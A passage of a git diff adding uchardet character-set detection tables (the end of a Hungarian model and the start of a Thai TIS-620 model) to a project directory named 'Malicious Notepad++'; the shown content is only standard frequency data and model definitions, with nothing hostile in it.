+0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,3,2,3,3,3,3,2,3,3,3,3,0,2,3,2, +0,0,0,1,1,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,1,1,1,3,3,2,1,3,2,2,3,2,1,3,2,2,1,0,3,3,1, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,2,2,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,3,2,2,3,1,1,3,2,0,1,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,1,3,3,3,3,3,2,2,1,3,3,3,0,1,1,2, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,0,3,2,3, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,1,0, +3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,1,3,2,2,2,3,1,1,3,3,1,1,0,3,3,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,2,3,3,3,3,3,1,2,3,2,2,0,2,2,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,2,2,2,3,1,3,3,2,2,1,3,3,3,1,1,3,1,2,3,2,3,2,2,2,1,0,2,2,2, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, +3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,2,2,3,2,1,0,3,2,0,1,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,1,0,3,3,3,3,0,2,3,0,0,2,1,0,1,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,2,3,3,2,2,2,2,3,3,0,1,2,3,2,3,2,2,3,2,1,2,0,2,2,2, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, +3,3,3,3,3,3,1,2,3,3,3,2,1,2,3,3,2,2,2,3,2,3,3,1,3,3,1,1,0,2,3,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,1,2,2,2,2,3,3,3,1,1,1,3,3,1,1,3,1,1,3,2,1,2,3,1,1,0,2,2,2, +0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,2,1,2,1,1,3,3,1,1,1,1,3,3,1,1,2,2,1,2,1,1,2,2,1,1,0,2,2,1, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,1,1,2,1,1,3,3,1,0,1,1,3,3,2,0,1,1,2,3,1,0,2,2,1,0,0,1,3,2, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,2,1,3,3,3,3,3,1,2,3,2,3,3,2,1,1,3,2,3,2,1,2,2,0,1,2,1,0,0,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,2,2,2,2,3,1,2,2,1,1,3,3,0,3,2,1,2,3,2,1,3,3,1,1,0,2,1,3, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,3,3,2,2,2,3,2,3,3,3,2,1,1,3,3,1,1,1,2,2,3,2,3,2,2,2,1,0,2,2,1, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +1,0,0,3,3,3,3,3,0,0,3,3,2,3,0,0,0,2,3,3,1,0,1,2,0,0,1,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,2,3,3,3,3,3,1,2,3,3,2,2,1,1,0,3,3,2,2,1,2,2,1,0,2,2,0,1,1,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,2,2,1,3,1,2,3,3,2,2,1,1,2,2,1,1,1,1,3,2,1,1,1,1,2,1,0,1,2,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +2,3,3,1,1,1,1,1,3,3,3,0,1,1,3,3,1,1,1,1,1,2,2,0,3,1,1,2,0,2,1,1, +0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, +3,1,0,1,2,1,2,2,0,1,2,3,1,2,0,0,0,2,1,1,1,1,1,2,0,0,1,1,0,0,0,0, +1,2,1,2,2,2,1,2,1,2,0,2,0,2,2,1,1,2,1,1,2,1,1,1,0,1,0,0,0,1,1,0, +1,1,1,2,3,2,3,3,0,1,2,2,3,1,0,1,0,2,1,2,2,0,1,1,0,0,1,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,3,3,2,2,1,0,0,3,2,3,2,0,0,0,1,1,3,0,0,1,1,0,0,2,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,2,2,3,3,1,0,1,3,2,3,1,1,1,0,1,1,1,1,1,3,1,0,0,2,2,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,1,2,2,2,1,0,1,2,3,3,2,0,0,0,2,1,1,1,2,1,1,1,0,1,1,1,0,0,0, +1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,2,1,1,1,1,1,1,0,1,1,1,0,0,1,1, +3,2,2,1,0,0,1,1,2,2,0,3,0,1,2,1,1,0,0,1,1,1,0,1,1,1,1,0,2,1,1,1, +2,2,1,1,1,2,1,2,1,1,1,1,1,1,1,2,1,1,1,2,3,1,1,1,1,1,1,1,1,1,0,1, +2,3,3,0,1,0,0,0,3,3,1,0,0,1,2,2,1,0,0,0,0,2,0,0,1,1,1,0,2,1,1,1, +2,1,1,1,1,1,1,2,1,1,0,1,1,0,1,1,1,0,1,2,1,1,0,1,1,1,1,1,1,1,0,1, +2,3,3,0,1,0,0,0,2,2,0,0,0,0,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,1,0, +2,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, +3,2,2,0,1,0,1,0,2,3,2,0,0,1,2,2,1,0,0,1,1,1,0,0,2,1,0,1,2,2,1,1, +2,1,1,1,1,1,1,2,1,1,1,1,1,1,0,2,1,0,1,1,0,1,1,1,0,1,1,2,1,1,0,1, +2,2,2,0,0,1,0,0,2,2,1,1,0,0,2,1,1,0,0,0,1,2,0,0,2,1,0,0,2,1,1,1, +2,1,1,1,1,2,1,2,1,1,1,2,2,1,1,2,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1, +1,2,3,0,0,0,1,0,3,2,1,0,0,1,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,2,1, +1,1,0,0,0,1,0,1,1,1,1,1,2,0,0,1,0,0,0,2,0,0,1,1,1,1,1,1,1,1,0,1, +3,0,0,2,1,2,2,1,0,0,2,1,2,2,0,0,0,2,1,1,1,0,1,1,0,0,1,1,2,0,0,0, +1,2,1,2,2,1,1,2,1,2,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,0,0,1, +1,3,2,0,0,0,1,0,2,2,2,0,0,0,2,2,1,0,0,0,0,3,1,1,1,1,0,0,2,1,1,1, +2,1,0,1,1,1,0,1,1,1,1,1,1,1,0,2,1,0,0,1,0,1,1,0,1,1,1,1,1,1,0,1, +2,3,2,0,0,0,1,0,2,2,0,0,0,0,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,1,0, +2,1,1,1,1,2,1,2,1,2,0,1,1,1,0,2,1,1,1,2,1,1,1,1,0,1,1,1,1,1,0,1, +3,1,1,2,2,2,3,2,1,1,2,2,1,1,0,1,0,2,2,1,1,1,1,1,0,0,1,1,0,1,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,0,0,0,0,0,2,2,0,0,0,0,2,2,1,0,0,0,1,1,0,0,1,2,0,0,2,1,1,1, +2,2,1,1,1,2,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,1,1,0,1,2,1,1,1,0,1, +1,0,0,1,2,3,2,1,0,0,2,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0, +1,2,1,2,1,2,1,1,1,2,0,2,1,1,1,0,1,2,0,0,1,1,1,0,0,0,0,0,0,0,0,0, +2,3,2,0,0,0,0,0,1,1,2,1,0,0,1,1,1,0,0,0,0,2,0,0,1,1,0,0,2,1,1,1, +2,1,1,1,1,1,1,2,1,0,1,1,1,1,0,2,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1, +1,2,2,0,1,1,1,0,2,2,2,0,0,0,3,2,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0, +1,1,0,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,0,0,1,1,1,0,1,0,1, +2,1,0,2,1,1,2,2,1,1,2,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0, +1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0, +1,2,3,0,0,0,1,0,2,2,0,0,0,0,2,2,0,0,0,0,0,1,0,0,1,0,0,0,2,0,1,0, +2,1,1,1,1,1,0,2,0,0,0,1,2,1,1,1,1,0,1,2,0,1,0,1,0,1,1,1,0,1,0,1, +2,2,2,0,0,0,1,0,2,1,2,0,0,0,1,1,2,0,0,0,0,1,0,0,1,1,0,0,2,1,0,1, +2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, +1,2,2,0,0,0,1,0,2,2,2,0,0,0,1,1,0,0,0,0,0,1,1,0,2,0,0,1,1,1,0,1, +1,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,1, +1,0,0,1,0,1,2,1,0,0,1,1,1,2,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0, +0,2,1,2,1,1,1,1,1,2,0,2,0,1,1,0,1,2,1,0,1,1,1,0,0,0,0,0,0,1,0,0, +2,1,1,0,1,2,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,2,1,0,1, +2,2,1,1,1,1,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,0,1,0,1,1,1,1,1,0,1, +1,2,2,0,0,0,0,0,1,1,0,0,0,0,2,1,0,0,0,0,0,2,0,0,2,2,0,0,2,0,0,1, +2,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1, +1,1,2,0,0,3,1,0,2,1,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0, +1,2,1,0,1,1,1,2,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0, +2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,2,0,0,0, +2,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,1,0,1, +2,1,1,1,2,1,1,1,0,1,1,2,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,1,0,1,1,1,1,1,0,0,1,1,2,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0, +1,2,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0, +2,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,2,0,0,1,0,0,1,0,1,0,0,0, +0,1,1,1,1,1,1,1,1,2,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, +1,0,0,1,1,1,1,1,0,0,2,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0, +0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0, +1,0,0,1,1,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, +0,0,0,1,0,0,0,0,0,0,1,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, +2,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, +0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0, +}; + +const SequenceModel Latin2HungarianModel( + Latin2_HungarianCharToOrderMap, + HungarianLangModel, + (float)0.947368, + PR_TRUE, + "ISO-8859-2"); + +const SequenceModel Win1250HungarianModel( + win1250HungarianCharToOrderMap, + HungarianLangModel, + (float)0.947368, + PR_TRUE, + "windows-1250"); diff --git a/Malicious Notepad++/src/uchardet/LangThaiModel.cpp b/Malicious Notepad++/src/uchardet/LangThaiModel.cpp new file mode 100644 index 0000000..11b8e75 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/LangThaiModel.cpp @@ -0,0 +1,220 @@ +/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Communicator client code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsSBCharSetProber.h" + + +/**************************************************************** +255: Control characters that usually does not exist in any text +254: Carriage/Return +253: symbol (punctuation) that does not belong to word +252: 0 - 9 + +*****************************************************************/ + +//The following result for thai was collected from a limited sample (1M). + +//Character Mapping Table: +static const unsigned char TIS620CharToOrderMap[] = +{ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, //00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, //10 ++253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, //20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, //30 +253,182,106,107,100,183,184,185,101, 94,186,187,108,109,110,111, //40 +188,189,190, 89, 95,112,113,191,192,193,194,253,253,253,253,253, //50 +253, 64, 72, 73,114, 74,115,116,102, 81,201,117, 90,103, 78, 82, //60 + 96,202, 91, 79, 84,104,105, 97, 98, 92,203,253,253,253,253,253, //70 +209,210,211,212,213, 88,214,215,216,217,218,219,220,118,221,222, +223,224, 99, 85, 83,225,226,227,228,229,230,231,232,233,234,235, +236, 5, 30,237, 24,238, 75, 8, 26, 52, 34, 51,119, 47, 58, 57, + 49, 53, 55, 43, 20, 19, 44, 14, 48, 3, 17, 25, 39, 62, 31, 54, + 45, 9, 16, 2, 61, 15,239, 12, 42, 46, 18, 21, 76, 4, 66, 63, + 22, 10, 1, 36, 23, 13, 40, 27, 32, 35, 86,240,241,242,243,244, + 11, 28, 41, 29, 33,245, 50, 37, 6, 7, 67, 77, 38, 93,246,247, + 68, 56, 59, 65, 69, 60, 70, 80, 71, 87,248,249,250,251,252,253, +}; + + + + +//Model Table: +//total sequences: 100% +//first 512 sequences: 92.6386% +//first 1024 sequences:7.3177% +//rest sequences: 1.0230% +//negative sequences: 0.0436% +static const PRUint8 ThaiLangModel[] = +{ +0,1,3,3,3,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,0,0,3,3,3,0,3,3,3,3, +0,3,3,0,0,0,1,3,0,3,3,2,3,3,0,1,2,3,3,3,3,0,2,0,2,0,0,3,2,1,2,2, +3,0,3,3,2,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,0,3,2,3,0,2,2,2,3, +0,2,3,0,0,0,0,1,0,1,2,3,1,1,3,2,2,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1, +3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,3,3,2,3,2,3,3,2,2,2, +3,1,2,3,0,3,3,2,2,1,2,3,3,1,2,0,1,3,0,1,0,0,1,0,0,0,0,0,0,0,1,1, +3,3,2,2,3,3,3,3,1,2,3,3,3,3,3,2,2,2,2,3,3,2,2,3,3,2,2,3,2,3,2,2, +3,3,1,2,3,1,2,2,3,3,1,0,2,1,0,0,3,1,2,1,0,0,1,0,0,0,0,0,0,1,0,1, +3,3,3,3,3,3,2,2,3,3,3,3,2,3,2,2,3,3,2,2,3,2,2,2,2,1,1,3,1,2,1,1, +3,2,1,0,2,1,0,1,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0, +3,3,3,2,3,2,3,3,2,2,3,2,3,3,2,3,1,1,2,3,2,2,2,3,2,2,2,2,2,1,2,1, +2,2,1,1,3,3,2,1,0,1,2,2,0,1,3,0,0,0,1,1,0,0,0,0,0,2,3,0,0,2,1,1, +3,3,2,3,3,2,0,0,3,3,0,3,3,0,2,2,3,1,2,2,1,1,1,0,2,2,2,0,2,2,1,1, +0,2,1,0,2,0,0,2,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,2,3,3,2,0,0,3,3,0,2,3,0,2,1,2,2,2,2,1,2,0,0,2,2,2,0,2,2,1,1, +0,2,1,0,2,0,0,2,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0, +3,3,2,3,2,3,2,0,2,2,1,3,2,1,3,2,1,2,3,2,2,3,0,2,3,2,2,1,2,2,2,2, +1,2,2,0,0,0,0,2,0,1,2,0,1,1,1,0,1,0,3,1,1,0,0,0,0,0,0,0,0,0,1,0, +3,3,2,3,3,2,3,2,2,2,3,2,2,3,2,2,1,2,3,2,2,3,1,3,2,2,2,3,2,2,2,3, +3,2,1,3,0,1,1,1,0,2,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,2,0,0, +1,0,0,3,0,3,3,3,3,3,0,0,3,0,2,2,3,3,3,3,3,0,0,0,1,1,3,0,0,0,0,2, +0,0,1,0,0,0,0,0,0,0,2,3,0,0,0,3,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0, +2,0,3,3,3,3,0,0,2,3,0,0,3,0,3,3,2,3,3,3,3,3,0,0,3,3,3,0,0,0,3,3, +0,0,3,0,0,0,0,2,0,0,2,1,1,3,0,0,1,0,0,2,3,0,1,0,0,0,0,0,0,0,1,0, +3,3,3,3,2,3,3,3,3,3,3,3,1,2,1,3,3,2,2,1,2,2,2,3,1,1,2,0,2,1,2,1, +2,2,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0, +3,0,2,1,2,3,3,3,0,2,0,2,2,0,2,1,3,2,2,1,2,1,0,0,2,2,1,0,2,1,2,2, +0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,2,1,3,3,1,1,3,0,2,3,1,1,3,2,1,1,2,0,2,2,3,2,1,1,1,1,1,2, +3,0,0,1,3,1,2,1,2,0,3,0,0,0,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, +3,3,1,1,3,2,3,3,3,1,3,2,1,3,2,1,3,2,2,2,2,1,3,3,1,2,1,3,1,2,3,0, +2,1,1,3,2,2,2,1,2,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2, +3,3,2,3,2,3,3,2,3,2,3,2,3,3,2,1,0,3,2,2,2,1,2,2,2,1,2,2,1,2,1,1, +2,2,2,3,0,1,3,1,1,1,1,0,1,1,0,2,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,2,3,2,2,1,1,3,2,3,2,3,2,0,3,2,2,1,2,0,2,2,2,1,2,2,2,2,1, +3,2,1,2,2,1,0,2,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1, +3,3,3,3,3,2,3,1,2,3,3,2,2,3,0,1,1,2,0,3,3,2,2,3,0,1,1,3,0,0,0,0, +3,1,0,3,3,0,2,0,2,1,0,0,3,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,2,3,2,3,3,0,1,3,1,1,2,1,2,1,1,3,1,1,0,2,3,1,1,1,1,1,1,1,1, +3,1,1,2,2,2,2,1,1,1,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,2,2,1,1,2,1,3,3,2,3,2,2,3,2,2,3,1,2,2,1,2,0,3,2,1,2,2,2,2,2,1, +3,2,1,2,2,2,1,1,1,1,0,0,1,1,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,1,3,3,0,2,1,0,3,2,0,0,3,1,0,1,1,0,1,0,0,0,0,0,1, +1,0,0,1,0,3,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,2,2,2,3,0,0,1,3,0,3,2,0,3,2,2,3,3,3,3,3,1,0,2,2,2,0,2,2,1,2, +0,2,3,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +3,0,2,3,1,3,3,2,3,3,0,3,3,0,3,2,2,3,2,3,3,3,0,0,2,2,3,0,1,1,1,3, +0,0,3,0,0,0,2,2,0,1,3,0,1,2,2,2,3,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1, +3,2,3,3,2,0,3,3,2,2,3,1,3,2,1,3,2,0,1,2,2,0,2,3,2,1,0,3,0,0,0,0, +3,0,0,2,3,1,3,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,3,2,2,2,1,2,0,1,3,1,1,3,1,3,0,0,2,1,1,1,1,2,1,1,1,0,2,1,0,1, +1,2,0,0,0,3,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,3,1,0,0,0,1,0, +3,3,3,3,2,2,2,2,2,1,3,1,1,1,2,0,1,1,2,1,2,1,3,2,0,0,3,1,1,1,1,1, +3,1,0,2,3,0,0,0,3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,2,3,0,3,3,0,2,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,2,3,1,3,0,0,1,2,0,0,2,0,3,3,2,3,3,3,2,3,0,0,2,2,2,0,0,0,2,2, +0,0,1,0,0,0,0,3,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +0,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,1,2,3,1,3,3,0,0,1,0,3,0,0,0,0,0, +0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,1,2,3,1,2,3,1,0,3,0,2,2,1,0,2,1,1,2,0,1,0,0,1,1,1,1,0,1,0,0, +1,0,0,0,0,1,1,0,3,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,2,1,0,1,1,1,3,1,2,2,2,2,2,2,1,1,1,1,0,3,1,0,1,3,1,1,1,1, +1,1,0,2,0,1,3,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,1, +3,0,2,2,1,3,3,2,3,3,0,1,1,0,2,2,1,2,1,3,3,1,0,0,3,2,0,0,0,0,2,1, +0,1,0,0,0,0,1,2,0,1,1,3,1,1,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +0,0,3,0,0,1,0,0,0,3,0,0,3,0,3,1,0,1,1,1,3,2,0,0,0,3,0,0,0,0,2,0, +0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,1,3,2,1,3,3,1,2,2,0,1,2,1,0,1,2,0,0,0,0,0,3,0,0,0,3,0,0,0,0, +3,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,1,2,0,3,3,3,2,2,0,1,1,0,1,3,0,0,0,2,2,0,0,0,0,3,1,0,1,0,0,0, +0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,2,3,1,2,0,0,2,1,0,3,1,0,1,2,0,1,1,1,1,3,0,0,3,1,1,0,2,2,1,1, +0,2,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,3,1,2,0,0,2,2,0,1,2,0,1,0,1,3,1,2,1,0,0,0,2,0,3,0,0,0,1,0, +0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,1,1,2,2,0,0,0,2,0,2,1,0,1,1,0,1,1,1,2,1,0,0,1,1,1,0,2,1,1,1, +0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1, +0,0,0,2,0,1,3,1,1,1,1,0,0,0,0,3,2,0,1,0,0,0,1,2,0,0,0,1,0,0,0,0, +0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,2,3,2,2,0,0,0,1,0,0,0,0,2,3,2,1,2,2,3,0,0,0,2,3,1,0,0,0,1,1, +0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0, 